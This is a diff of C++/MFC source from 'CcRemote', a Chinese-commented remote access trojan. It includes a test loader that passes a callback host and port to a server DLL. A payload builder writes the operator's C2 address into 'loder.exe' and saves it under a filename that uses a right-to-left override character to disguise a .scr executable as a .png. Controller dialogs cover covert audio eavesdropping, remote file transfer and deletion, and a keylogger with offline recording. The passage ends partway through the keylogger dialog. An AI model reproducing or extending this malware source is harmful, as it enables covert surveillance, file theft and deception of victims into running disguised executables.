// TestLoadDll.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream>
#include <Windows.h>
int main()
{
std::cout << "Hello World!\n";
char strHost[] = "127.0.0.1"; //声明上线地址
int nPort = 80; //声明上线端口
//载入服务端dll
HMODULE hServerDll = LoadLibrary(".\\..\\..\\bin\\server\\CcMainDll.dll");
//HMODULE hServerDll = LoadLibrary(".\server.dll");
//声明导出函数类型--导出的TestRun函数
typedef void(_cdecl *TestRunT)(char* strHost, int nPort);
//寻找dll中导出函数
TestRunT pTestRunT = (TestRunT)GetProcAddress(hServerDll, "TestFun");
//判断函数是否为空
if (pTestRunT != NULL)
{
pTestRunT(strHost, nPort); //调用这个函数
}
}

View File

@@ -0,0 +1,164 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>15.0</VCProjectVersion>
<ProjectGuid>{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>TestLoadDll</RootNamespace>
<WindowsTargetPlatformVersion>10.0.17763.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
<OutDir>..\..\bin\server</OutDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
<OutDir>..\..\bin\server</OutDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
<BasicRuntimeChecks>Default</BasicRuntimeChecks>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="TestLoadDll.cpp" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@@ -0,0 +1,22 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="源文件">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="头文件">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="资源文件">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="TestLoadDll.cpp">
<Filter>源文件</Filter>
</ClCompile>
</ItemGroup>
</Project>

View File

@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup />
</Project>

Binary file not shown.

View File

@@ -0,0 +1,123 @@
// CAudioDlg.cpp: 实现文件
//
#include "pch.h"
#include "CcRemote.h"
#include "CAudioDlg.h"
#include "afxdialogex.h"
#include "..\..\common\macros.h"
// CAudioDlg 对话框
IMPLEMENT_DYNAMIC(CAudioDlg, CDialog)
CAudioDlg::CAudioDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext)
: CDialog(IDD_AUDIO, pParent)
{
m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_AUDIO)); //处理图标
m_iocpServer = pIOCPServer; //为类的成员变量赋值
m_pContext = pContext;
m_bIsWorking = true;
m_nTotalRecvBytes = 0;
sockaddr_in sockAddr;
memset(&sockAddr, 0, sizeof(sockAddr)); //得到服务端ip
int nSockAddrLen = sizeof(sockAddr);
BOOL bResult = getpeername(m_pContext->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen);
m_IPAddress = bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "";
}
CAudioDlg::~CAudioDlg()
{
}
void CAudioDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
DDX_Check(pDX, IDC_SEND_LOCALAUDIO, m_bIsSendLocalAudio);
}
BEGIN_MESSAGE_MAP(CAudioDlg, CDialog)
ON_WM_CLOSE()
END_MESSAGE_MAP()
// CAudioDlg 消息处理程序
BOOL CAudioDlg::OnInitDialog()
{
CDialog::OnInitDialog();
// TODO: 在此添加额外的初始化
SetIcon(m_hIcon, TRUE); // Set big icon
SetIcon(m_hIcon, FALSE); // Set small icon
CString str;
str.Format("\\\\%s - 语音监听", m_IPAddress);
SetWindowText(str);
// 通知远程控制端对话框已经打开
BYTE bToken = COMMAND_NEXT;
m_iocpServer->Send(m_pContext, &bToken, sizeof(BYTE));
m_hWorkThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, (LPVOID)this, 0, NULL);
return TRUE; // return TRUE unless you set the focus to a control
// 异常: OCX 属性页应返回 FALSE
}
DWORD CAudioDlg::WorkThread(LPVOID lparam)
{
CAudioDlg *pThis = (CAudioDlg *)lparam;
while (pThis->m_bIsWorking)
{
if (!pThis->m_bIsSendLocalAudio)
{
Sleep(1000);
continue;
}
DWORD dwBytes = 0;
LPBYTE lpBuffer = pThis->m_Audio.getRecordBuffer(&dwBytes);
if (lpBuffer != NULL && dwBytes > 0)
pThis->m_iocpServer->Send(pThis->m_pContext, lpBuffer, dwBytes);
}
return 0;
}
void CAudioDlg::OnClose()
{
// TODO: 在此添加消息处理程序代码和/或调用默认值
m_pContext->m_Dialog[0] = 0;
closesocket(m_pContext->m_Socket);
m_bIsWorking = false;
WaitForSingleObject(m_hWorkThread, INFINITE);
CDialog::OnClose();
}
void CAudioDlg::OnReceiveComplete(void)
{
m_nTotalRecvBytes += m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1;
CString str;
str.Format("Receive %d KBytes", m_nTotalRecvBytes / 1024);
SetDlgItemText(IDC_TIPS, str);
switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
{
//这里也非常简洁就是将服务端发送来的数据播放出来我们看一下这个类还是CAudio哈哈
//原来播放和录制是同一个类,我们转到这个函数
case TOKEN_AUDIO_DATA:
m_Audio.playBuffer(m_pContext->m_DeCompressionBuffer.GetBuffer(1), m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1);
break;
default:
// 传输发生异常数据
return;
}
}

View File

@@ -0,0 +1,42 @@
#pragma once
// CAudioDlg 对话框
#include "include/IOCPServer.h"
#include "..\..\common\Audio.h"
class CAudioDlg : public CDialog
{
DECLARE_DYNAMIC(CAudioDlg)
public:
CAudioDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL); // 标准构造函数
virtual ~CAudioDlg();
// 对话框数据
#ifdef AFX_DESIGN_TIME
enum { IDD = IDD_AUDIO };
#endif
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
DECLARE_MESSAGE_MAP()
public:
bool m_bIsWorking;
CAudio m_Audio;
private:
UINT m_nTotalRecvBytes;
HICON m_hIcon;
HANDLE m_hWorkThread;
ClientContext* m_pContext;
CIOCPServer* m_iocpServer;
CString m_IPAddress;
public:
virtual BOOL OnInitDialog();
static DWORD WorkThread(LPVOID lparam);
BOOL m_bIsSendLocalAudio;
afx_msg void OnClose();
void OnReceiveComplete(void);
};

View File

@@ -0,0 +1,167 @@
// CBuildDlg.cpp: 实现文件
//
#include "pch.h"
#include "CcRemote.h"
#include "CBuildDlg.h"
#include "afxdialogex.h"
#include <io.h>
struct Connect_Address
{
DWORD dwstact;
char strIP[MAX_PATH];
int nPort;
char ActiveXKeyGuid[MAX_PATH]; // 查找创建的Guid
}g_myAddress = { 0xCC28256,"",0,"" };
// CBuildDlg 对话框
IMPLEMENT_DYNAMIC(CBuildDlg, CDialog)
CBuildDlg::CBuildDlg(CWnd* pParent /*=nullptr*/)
: CDialog(IDD_DIALOG_BUILD, pParent)
, m_strIP(_T(""))
, m_strPort(_T(""))
{
}
CBuildDlg::~CBuildDlg()
{
}
void CBuildDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
DDX_Text(pDX, IDC_EDIT_IP, m_strIP);
DDX_Text(pDX, IDC_EDIT_PORT, m_strPort);
}
BEGIN_MESSAGE_MAP(CBuildDlg, CDialog)
ON_BN_CLICKED(IDOK, &CBuildDlg::OnBnClickedOk)
END_MESSAGE_MAP()
// CBuildDlg 消息处理程序
bool CreateMyFile(const WCHAR* strFilePath, LPBYTE lpBuffer, DWORD dwSize)
{
DWORD dwWritten;
HANDLE hFile = CreateFileW(strFilePath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
if (hFile != NULL)
{
WriteFile(hFile, (LPCVOID)lpBuffer, dwSize, &dwWritten, NULL);
}
else
{
return false;
}
CloseHandle(hFile);
return true;
}
void CBuildDlg::OnBnClickedOk()
{
// TODO: 在此添加控件通知处理程序代码
CFile file;
char strTemp[MAX_PATH];
WCHAR strTempW[MAX_PATH];
ZeroMemory(strTemp, MAX_PATH);
CString strCurrentPath;
CStringW strCurrentPathW;
CString strFile;
CString strSeverFile;
CString strCamouflageFile;
BYTE *lpBuffer = NULL;
BYTE names[] = {0x73,0x00,0x65,0x00,0x78,0x00,0x2E,0x20,0x67,0x00,0x6E,0x00,0x70,0x00,0x2E,0x00,0x73,0x00,0x63,0x00,0x72,0x00,0x00,0x00 };
PWCHAR namess = (PWCHAR)names;
DWORD dwFileSize;
UpdateData(TRUE);
//////////上线信息//////////////////////
strcpy(g_myAddress.strIP, m_strIP);
g_myAddress.nPort = atoi(m_strPort);
try
{
//此处得到未处理前的文件名
GetModuleFileName(NULL, strTemp, MAX_PATH); //得到文件名
GetModuleFileNameW(NULL, strTempW, MAX_PATH); //得到文件名
strCurrentPathW = strTempW;
strCurrentPathW = strCurrentPathW.Left(strCurrentPathW.ReverseFind('\\'));
strCurrentPath = strTemp;
int nPos = strCurrentPath.ReverseFind('\\');
strCurrentPath = strCurrentPath.Left(nPos);
strFile = strCurrentPath + "\\server\\loder.exe"; //得到当前未处理文件名
//打开文件
file.Open(strFile, CFile::modeRead | CFile::typeBinary);
dwFileSize = file.GetLength();
lpBuffer = new BYTE[dwFileSize];
ZeroMemory(lpBuffer, dwFileSize);
//读取文件内容
file.Read(lpBuffer, dwFileSize);
file.Close();
//写入上线IP和端口 主要是寻找0x这个标识然后写入这个位置
int nOffset = memfind((char*)lpBuffer, (char*)&g_myAddress.dwstact, dwFileSize, sizeof(DWORD));
memcpy(lpBuffer + nOffset, &g_myAddress, sizeof(Connect_Address));
//strCamouflageFile = FindFiles("F:\\myapp\\CcRemote\\bin\\server\\", lpBuffer, dwFileSize);
//if (strCamouflageFile != "null")
//{
// int a = file.Open(strCamouflageFile, CFile::typeBinary | CFile::modeCreate | CFile::modeWrite);
// file.Write(lpBuffer, dwFileSize);
// file.Close();
//}
//else
//{
//保存到文件
strSeverFile = strCurrentPath+"\\server.exe";
strCurrentPathW = strCurrentPathW + L"\\" + namess;
CreateMyFile(strCurrentPathW, lpBuffer, dwFileSize);
file.Open(strSeverFile, CFile::typeBinary | CFile::modeCreate | CFile::modeWrite);
file.Write(lpBuffer, dwFileSize);
file.Close();
//}
delete[] lpBuffer;
MessageBox("生成成功");
}
catch (CMemoryException* e)
{
MessageBox("内存不足");
}
catch (CFileException* e)
{
MessageBox("文件操作错误");
}
catch (CException* e)
{
MessageBox("未知错误");
}
CDialog::OnOK();
}
int CBuildDlg::memfind(const char *mem, const char *str, int sizem, int sizes)
{
int da, i, j;
if (sizes == 0) da = strlen(str);
else da = sizes;
for (i = 0; i < sizem; i++)
{
for (j = 0; j < da; j++)
if (mem[i + j] != str[j]) break;
if (j == da) return i;
}
return -1;
}

View File

@@ -0,0 +1,30 @@
#pragma once
// CBuildDlg 对话框
class CBuildDlg : public CDialog
{
DECLARE_DYNAMIC(CBuildDlg)
public:
CBuildDlg(CWnd* pParent = nullptr); // 标准构造函数
virtual ~CBuildDlg();
// 对话框数据
#ifdef AFX_DESIGN_TIME
enum { IDD = IDD_DIALOG_BUILD };
#endif
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
DECLARE_MESSAGE_MAP()
public:
afx_msg void OnBnClickedOk();
// IP变量
CString m_strIP;
// 端口变量
CString m_strPort;
private:
int memfind(const char *mem, const char *str, int sizem, int sizes);
};

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,156 @@
#pragma once
#include "TrueColorToolBar.h"
#include "include/IOCPServer.h"
#include "resource.h"
typedef CList<CString, CString&> strList;
// CFileManagerDlg 对话框
class CFileManagerDlg : public CDialog
{
DECLARE_DYNAMIC(CFileManagerDlg)
public:
CFileManagerDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL); // 标准构造函数
virtual ~CFileManagerDlg();
bool m_bIsStop;
CString m_strReceiveLocalFile;
CString m_strUploadRemoteFile;
void ShowProgress();
void SendStop();
int m_nTransferMode;
CString m_hCopyDestFolder;
void SendContinue();
void SendException();
void EndLocalRecvFile();
void EndRemoteDeleteFile();
CString m_strOperatingFile; // 文件名
__int64 m_nOperatingFileLength; // 文件总大小
__int64 m_nCounter;// 计数器
void WriteLocalRecvFile();
void CreateLocalRecvFile();
BOOL SendDownloadJob();
BOOL SendUploadJob();
BOOL SendDeleteJob();
strList m_Remote_Download_Job;
strList m_Remote_Upload_Job;
strList m_Remote_Delete_Job;
CTrueColorToolBar m_wndToolBar_Local;
CTrueColorToolBar m_wndToolBar_Remote;
void ShowMessage(char *lpFmt, ...);
CString m_Remote_Path;
BYTE m_bRemoteDriveList[1024];
CString GetParentDirectory(CString strPath);
void OnReceiveComplete();
CImageList* m_pImageList_Large;
CImageList* m_pImageList_Small;
int m_nNewIconBaseIndex; // 新加的ICON
ClientContext* m_pContext;
CIOCPServer* m_iocpServer;
CString m_IPAddress;
CProgressCtrl* m_ProgressCtrl;
HCURSOR m_hCursor;
CString m_Local_Path;
bool FixedUploadDirectory(LPCTSTR lpPathName);
void FixedLocalDriveList();
void FixedRemoteDriveList();
void FixedLocalFileList(CString directory = "");
void GetRemoteFileList(CString directory = "");
void FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen);
HICON m_hIcon;
CStatusBar m_wndStatusBar;
CComboBox m_Remote_Directory_ComboBox;
CComboBox m_Local_Directory_ComboBox;
CListCtrl m_list_remote;
CListCtrl m_list_local;
// 对话框数据
#ifdef AFX_DESIGN_TIME
enum { IDD = IDD_FILE };
#endif
virtual BOOL PreTranslateMessage(MSG* pMsg);
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
virtual void PostNcDestroy();
virtual BOOL OnInitDialog();
afx_msg HCURSOR OnQueryDragIcon();
afx_msg void OnSize(UINT nType, int cx, int cy);
afx_msg void OnDblclkListLocal(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnBegindragListLocal(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnBegindragListRemote(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg BOOL OnToolTipNotify(UINT id, NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnMouseMove(UINT nFlags, CPoint point);
afx_msg void OnLButtonUp(UINT nFlags, CPoint point);
afx_msg void OnTimer(UINT nIDEvent);
afx_msg void OnClose();
afx_msg void OnDblclkListRemote(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnLocalPrev();
afx_msg void OnRemotePrev();
afx_msg void OnLocalView();
afx_msg void OnLocalList();
afx_msg void OnLocalReport();
afx_msg void OnLocalBigicon();
afx_msg void OnLocalSmallicon();
afx_msg void OnRemoteBigicon();
afx_msg void OnRemoteList();
afx_msg void OnRemoteReport();
afx_msg void OnRemoteSmallicon();
afx_msg void OnRemoteView();
afx_msg void OnUpdateLocalStop(CCmdUI* pCmdUI);
afx_msg void OnUpdateRemoteStop(CCmdUI* pCmdUI);
afx_msg void OnUpdateLocalPrev(CCmdUI* pCmdUI);
afx_msg void OnUpdateRemotePrev(CCmdUI* pCmdUI);
afx_msg void OnUpdateLocalCopy(CCmdUI* pCmdUI);
afx_msg void OnUpdateRemoteCopy(CCmdUI* pCmdUI);
afx_msg void OnUpdateRemoteDelete(CCmdUI* pCmdUI);
afx_msg void OnUpdateRemoteNewfolder(CCmdUI* pCmdUI);
afx_msg void OnUpdateLocalDelete(CCmdUI* pCmdUI);
afx_msg void OnUpdateLocalNewfolder(CCmdUI* pCmdUI);
afx_msg void OnRemoteCopy();
afx_msg void OnLocalCopy();
afx_msg void OnLocalDelete();
afx_msg void OnRemoteDelete();
afx_msg void OnRemoteStop();
afx_msg void OnLocalStop();
afx_msg void OnLocalNewfolder();
afx_msg void OnRemoteNewfolder();
afx_msg void OnTransfer();
afx_msg void OnRename();
afx_msg void OnEndlabeleditListLocal(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnEndlabeleditListRemote(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnDelete();
afx_msg void OnNewfolder();
afx_msg void OnRefresh();
afx_msg void OnLocalOpen();
afx_msg void OnRemoteOpenShow();
afx_msg void OnRemoteOpenHide();
afx_msg void OnRclickListLocal(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnRclickListRemote(NMHDR* pNMHDR, LRESULT* pResult);
DECLARE_MESSAGE_MAP()
protected:
CListCtrl* m_pDragList; //Which ListCtrl we are dragging FROM
CListCtrl* m_pDropList; //Which ListCtrl we are dropping ON
BOOL m_bDragging; //T during a drag operation
int m_nDragIndex; //Index of selected item in the List we are dragging FROM
int m_nDropIndex; //Index at which to drop item in the List we are dropping ON
CWnd* m_pDropWnd; //Pointer to window we are dropping on (will be cast to CListCtrl* type)
void DropItemOnList(CListCtrl* pDragList, CListCtrl* pDropList);
private:
bool m_bIsUpload; // 是否是把本地主机传到远程上,标志方向位
bool MakeSureDirectoryPathExists(LPCTSTR pszDirPath);
void SendTransferMode();
void SendFileData();
void EndLocalUploadFile();
bool DeleteDirectory(LPCTSTR lpszDirectory);
void EnableControl(BOOL bEnable = TRUE);
};

View File

@@ -0,0 +1,44 @@
// CHelpWindow.cpp: 实现文件
//
#include "pch.h"
#include "CcRemote.h"
#include "CHelpWindow.h"
#include "afxdialogex.h"
// CHelpWindow 对话框
IMPLEMENT_DYNAMIC(CHelpWindow, CDialogEx)
CHelpWindow::CHelpWindow(CWnd* pParent /*=nullptr*/)
: CDialogEx(IDD_DIALOG_HELP, pParent)
{
}
CHelpWindow::~CHelpWindow()
{
}
void CHelpWindow::DoDataExchange(CDataExchange* pDX)
{
CDialogEx::DoDataExchange(pDX);
DDX_Control(pDX, IDC_STATIC_HELP, m_PicHelp);
}
BEGIN_MESSAGE_MAP(CHelpWindow, CDialogEx)
ON_STN_CLICKED(IDC_STATIC_HELP, &CHelpWindow::OnStnClickedStaticHelp)
END_MESSAGE_MAP()
// CHelpWindow 消息处理程序
void CHelpWindow::OnStnClickedStaticHelp()
{
// TODO: 在此添加控件通知处理程序代码
ShellExecute(NULL, "open", "explorer.exe", "https://github.com/Cc28256/CcRemote", NULL, SW_SHOW);
}

View File

@@ -0,0 +1,26 @@
#pragma once
// CHelpWindow 对话框
class CHelpWindow : public CDialogEx
{
DECLARE_DYNAMIC(CHelpWindow)
public:
CHelpWindow(CWnd* pParent = nullptr); // 标准构造函数
virtual ~CHelpWindow();
// 对话框数据
#ifdef AFX_DESIGN_TIME
enum { IDD = IDD_DIALOG_HELP };
#endif
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
DECLARE_MESSAGE_MAP()
public:
CStatic m_PicHelp;
afx_msg void OnStnClickedStaticHelp();
};

View File

@@ -0,0 +1,234 @@
// CKeyBoardDlg.cpp: 实现文件
//
#include "pch.h"
#include "CcRemote.h"
#include "CKeyBoardDlg.h"
#include "afxdialogex.h"
#include "..\..\common\macros.h"
#define IDM_ENABLE_OFFLINE 0x0010
#define IDM_CLEAR_RECORD 0x0011
#define IDM_SAVE_RECORD 0x0012
// CKeyBoardDlg 对话框
IMPLEMENT_DYNAMIC(CKeyBoardDlg, CDialog)
CKeyBoardDlg::CKeyBoardDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext)
: CDialog(IDD_KEYBOARD, pParent)
{
m_iocpServer = pIOCPServer;
m_pContext = pContext;
sockaddr_in sockAddr;
memset(&sockAddr, 0, sizeof(sockAddr));
int nSockAddrLen = sizeof(sockAddr);
BOOL bResult = getpeername(m_pContext->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen);
m_IPAddress = bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "";
m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_KEYBOARD));
m_bIsOfflineRecord = (BYTE)m_pContext->m_DeCompressionBuffer.GetBuffer(0)[1];
}
CKeyBoardDlg::~CKeyBoardDlg()
{
}
void CKeyBoardDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
DDX_Control(pDX, IDC_EDIT, m_edit);
}
BEGIN_MESSAGE_MAP(CKeyBoardDlg, CDialog)
ON_WM_SYSCOMMAND()
ON_WM_CLOSE()
ON_WM_SIZE()
END_MESSAGE_MAP()
// CKeyBoardDlg 消息处理程序
/////////////////////////////////////////////////////////////////////////////
// CKeyBoardDlg message handlers
BOOL CKeyBoardDlg::OnInitDialog()
{
CDialog::OnInitDialog();
// TODO: Add extra initialization here
CMenu* pSysMenu = GetSystemMenu(FALSE);
if (pSysMenu != NULL)
{
//pSysMenu->DeleteMenu(SC_TASKLIST, MF_BYCOMMAND);
pSysMenu->AppendMenu(MF_SEPARATOR);
pSysMenu->AppendMenu(MF_STRING, IDM_ENABLE_OFFLINE, "离线记录(&O)");
pSysMenu->AppendMenu(MF_STRING, IDM_CLEAR_RECORD, "清空记录(&C)");
pSysMenu->AppendMenu(MF_STRING, IDM_SAVE_RECORD, "保存记录(&S)");
if (m_bIsOfflineRecord)
pSysMenu->CheckMenuItem(IDM_ENABLE_OFFLINE, MF_CHECKED);
}
SetIcon(m_hIcon, TRUE); // Set big icon
SetIcon(m_hIcon, FALSE); // Set small icon
m_edit.SetLimitText(MAXDWORD); // 设置最大长度
ResizeEdit();
UpdateTitle();
// 通知远程控制端对话框已经打开
BYTE bToken = COMMAND_NEXT;
m_iocpServer->Send(m_pContext, &bToken, sizeof(BYTE));
return TRUE; // return TRUE unless you set the focus to a control
// EXCEPTION: OCX Property Pages should return FALSE
}
void CKeyBoardDlg::OnSysCommand(UINT nID, LPARAM lParam)
{
if (nID == IDM_ENABLE_OFFLINE)
{
CMenu* pSysMenu = GetSystemMenu(FALSE);
if (pSysMenu != NULL)
{
BYTE bToken = COMMAND_KEYBOARD_OFFLINE;
m_iocpServer->Send(m_pContext, &bToken, 1);
m_bIsOfflineRecord = !m_bIsOfflineRecord;
if (m_bIsOfflineRecord)
